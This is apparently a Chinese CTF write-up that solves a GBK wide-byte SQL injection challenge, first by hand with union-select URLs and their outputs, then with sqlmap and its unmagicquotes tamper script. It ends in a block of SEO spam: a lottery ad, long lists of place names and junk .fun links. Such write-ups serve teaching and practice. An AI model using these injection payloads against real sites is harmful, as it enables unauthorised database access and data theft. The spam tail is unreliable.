• <input id="4imo2"><tt id="4imo2"></tt></input>
  • <object id="4imo2"><acronym id="4imo2"></acronym></object>
    <object id="4imo2"></object>
  • <menu id="4imo2"><u id="4imo2"></u></menu>
    <object id="4imo2"></object>
  • <menu id="4imo2"></menu><input id="4imo2"><u id="4imo2"></u></input><input id="4imo2"><u id="4imo2"></u></input>
    <input id="4imo2"></input>
  • (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    今日特马2019年王中王六肖中特必中鉄算盘开奖结果现场历史记录查询网 崇礼县| 潍坊市| 新龙县| 原平市| 都安| 崇州市| 岱山县| 和龙市| 堆龙德庆县| 鹤壁市| 方山县| 岱山县| 中方县| 泗水县| 永德县| 那坡县| 修武县| 兰州市| 始兴县| 花莲市| 桂东县| 阳泉市| 绥棱县| 武汉市| 龙游县| 平谷区| 卢氏县| 兰考县| 淮南市| 吴忠市| 泗洪县| 辽源市| 那曲县| 武乡县| 榆社县| 宜兰市| 恩施市| 铁岭市| 石景山区| 历史| 酒泉市| 云龙县| 门头沟区| 油尖旺区| 会理县| 师宗县| 化德县| 休宁县| 乌拉特前旗| 凤台县| 盐城市| 漳州市| 鄂伦春自治旗| 黎川县| 韶关市| 栾城县| 阳山县| 铜梁县| 洛川县| 沙河市| 达尔| 出国| 尖扎县| 司法| 霍城县| 恭城| 西和县| 桑日县| 太湖县| 高碑店市| 鄂伦春自治旗| 太康县| 隆昌县| 泾源县| 林西县| 怀宁县| 高台县| 会东县| 广饶县| 彭山县| 大竹县| 遵义市| 新闻| 江口县| 乐亭县| 峡江县| 监利县| 汨罗市| 峡江县| 宜春市| 博乐市| 门源| 右玉县| 新竹市| 民权县| 奇台县| 淳安县| 浏阳市| 兴安县| 渭南市| 皮山县| 东乌珠穆沁旗| 根河市| 余庆县| 拉孜县| 什邡市| 湖州市| 深州市| 林芝县| 万载县| 亚东县| 玉屏| 余江县| 雷州市| 大邑县| 潼关县| 华蓥市| 福海县| 河南省| 古交市| 乐山市| 乌拉特后旗| 西乌珠穆沁旗| 乡城县| 佛坪县| 营口市| 瑞金市| 永定县| 周宁县| 柳林县| 曲阳县| 囊谦县| 永兴县| 土默特右旗| 恭城| 凯里市| 峨山| 理塘县| 丘北县| 苏尼特左旗| 林周县| 临夏市| 澄城县| 巫溪县| 闽清县| 安义县| 长宁区| 漳浦县| 龙里县| 泽普县| 滁州市| 蒲江县| 承德市| 安图县| 徐州市| 应城市| 大埔县| 汝州市| 德清县| 宽城| 本溪| 安义县| 万山特区| 龙里县| 高邮市| 清新县| 喜德县| 克拉玛依市| 彭泽县| 凌云县| 龙州县| 察雅县| 蕲春县| 亳州市| 离岛区| 潼南县| 县级市| 友谊县| 盈江县| 台北市| 扶余县| 银川市| 佛教| 石台县| 虹口区| 历史| 东港市| 伊通| 巩留县| 聂拉木县| 宣化县| 阳信县| 吉隆县| 福贡县| 英吉沙县| 永昌县| 绍兴市| 盖州市| 栾城县| 会东县| 乌兰察布市| 武乡县| 镇远县| 海安县| 江安县| 五原县| 南陵县| 忻城县| 鄯善县| 吴桥县| 灵璧县| 枣庄市| 延吉市| 桂东县| 南昌县| 华亭县| 吉首市| 宜兴市| 株洲市| 澄城县| 宜兰县| 汶川县| 易门县| 明星| 淮滨县| 建德市| 白沙| 丽水市| 香港| 伊吾县| 咸宁市| 原平市| 绍兴县| 河池市| 攀枝花市| 乐山市| 岳普湖县| 镇原县| 特克斯县| 陆川县| 黔南| 全州县| 宁阳县| 盐山县| 南通市| 日喀则市| 深水埗区| 阳城县| 上高县| 库车县| 天镇县| 宁乡县| 梁山县| 庆云县| 昌平区| 曲阳县| 新乡县| 铅山县| 阜新| 宜兴市| 临武县| 于都县| 重庆市| 岐山县| 馆陶县| 陈巴尔虎旗| 田林县| 定安县| 铜梁县| 确山县| 确山县| 衡阳市| 望都县| 江门市| 贺兰县| 上高县| 会东县| 鸡西市| 松滋市| 师宗县| 仲巴县| 西昌市| 南华县| 静海县| 绥中县| 中西区| 奉节县| 佳木斯市| 河池市| 特克斯县| 云霄县| 蒙自县| 冀州市| 保靖县| 马关县| 平邑县| 大足县| 炉霍县| 盐源县| 西畴县| 鹤峰县| 罗田县| 迁安市| 渭南市| 鱼台县| 资中县| 霍州市| 惠安县| 汉寿县| 宾阳县| 儋州市| 宁陵县| 镇原县| 永平县| 南澳县| 漳州市| 石林| 平远县| 淳安县| 长治县| 大英县| 乌恰县| 黄冈市| 青铜峡市| 鄂尔多斯市| 梅州市| 贵德县| 米泉市| 大邑县| 延津县| 郎溪县| 阜新市| 安岳县| 东山县| 阜平县| 张家界市| 汶川县| 富蕴县| 芜湖市| 澄迈县| 富源县| 南宁市| 临湘市| 万宁市| 普兰县| 宜城市| 南阳市| 丹东市| 眉山市| 古交市| 上饶市| 平塘县| 拜泉县| 长宁县| 泸州市| 壤塘县| 额敏县| 虎林市| 巩义市| 长垣县| 南宫市| 乐都县| 东源县| 高平市| 贵德县| 华容县| 秀山| 宁安市| 洛宁县| 长顺县| 佳木斯市| 永修县| 方山县| 阿拉善盟| 城固县| 兴宁市| 依安县| 鲁甸县| 响水县| 盐源县| 宁国市| 化隆| 陕西省| 阿鲁科尔沁旗| 揭西县| 民乐县| 宁化县| 布拖县| 鲁山县| 蒙城县| 长丰县| 常山县| 手机| 寿宁县| 呼玛县| 筠连县| 晋州市| 句容市| 衡山县| 封丘县| 舞钢市| 三门峡市| 莱阳市| 嘉荫县| 丰镇市| 碌曲县| 罗山县| 新巴尔虎右旗| 勃利县| 子长县| 商都县| 张家界市| 江达县| 扎鲁特旗| 怀宁县| 平昌县| 沁水县| 彭水| 剑河县| 巩义市| 汉寿县| 延长县| 新河县| 临朐县| 中西区| 太仓市| 广汉市| 涞水县| 子长县| 新乡市| 瓦房店市| 舟曲县| 扶绥县| 龙南县| 舟曲县| 马鞍山市| 沐川县| 吉木乃县| 高淳县| 瑞安市| 沙洋县| 濮阳市| 博白县| 舟山市| 辽中县| 天峻县| 米林县| 汝阳县| 福海县| 曲阜市| 平安县| 永清县| 莱芜市| 玉林市| 什邡市| 清镇市| 连平县| 光泽县| 嘉定区| 宁阳县| 福清市| 体育| 电白县| 大宁县| 井冈山市| 正宁县| 巴塘县| 凤山市| 平度市| 敦煌市| 沽源县| 浦江县| 宁国市| 渑池县| 江永县| 方城县| 邵阳县| 远安县| 启东市| 新源县| 惠来县| 宁波市| 新疆| 招远市| 革吉县| 霍州市| 乌兰察布市| 玛沁县| 任丘市| 勃利县| 星子县| 日照市| 顺昌县| 丰镇市| 长白| 遂溪县| 赣榆县| 喀喇沁旗| 清水县| 平舆县| 定西市| 阳信县| 榆中县| 泗阳县| 理塘县| 延边| 曲麻莱县| 马公市| 休宁县| 额济纳旗| 宕昌县| 九龙县| 聊城市| 新巴尔虎右旗| 平陆县| 盐边县| 金寨县| 高清| 济宁市| 石景山区| 西乌珠穆沁旗| 门源| 施甸县| 时尚| 洪洞县| 沂南县| 炉霍县| 班戈县| 宜昌市| 额尔古纳市| 大兴区| 河池市| 通州市| 普兰县| 南开区| 合川市| 鄂伦春自治旗| 大荔县| 花莲县| 婺源县| 揭阳市| 重庆市| 博白县| 都匀市| 浏阳市| 夏津县| 罗城| 南宁市| 寿光市| 扶余县| 漠河县| 思南县| 容城县| 嵩明县| 集贤县| 惠来县| 桑日县| 澜沧| 苗栗市| 西藏| 墨玉县| 都江堰市| 枣阳市| 泗阳县| 康定县| 郑州市| 游戏| 武宣县| 原平市| 陆丰市| 景谷| 朔州市| 长乐市| 桓台县| 新蔡县| 恩平市| 洪雅县| 贵港市| 鹤壁市| 常宁市| 咸丰县| 新建县| 北宁市| 太保市| 广汉市| 平度市| 和田县| 兴和县| 余干县| 共和县| 云林县| 临猗县| 穆棱市| 万年县| 文登市| 清河县| 柘荣县| 阜城县| 星座| 井研县| 黄山市| 塔城市| 咸宁市| 如东县| 泽普县| 泰州市| 安顺市| 阿图什市| 大理市| 葵青区| 静宁县| 三江| 石河子市| 崇礼县| 太谷县| http://3g.jx1870countv.fun http://m.jx1870assistv.fun http://wap.jx1870coverv.fun http://3g.jx1870bowlv.fun http://3g.jx1870attendv.fun http://wap.jx1870dreazv.fun http://www.jx1870dezandv.fun http://jx1870authorv.fun http://wap.jx1870dezandv.fun http://jx1870ballv.fun http://m.jx1870catchv.fun http://www.jx1870contentv.fun http://m.jx1870dezandv.fun http://3g.jx1870dezov.fun http://3g.jx1870endv.fun http://jx1870becozev.fun http://wap.jx1870beachv.fun http://m.jx1870dressv.fun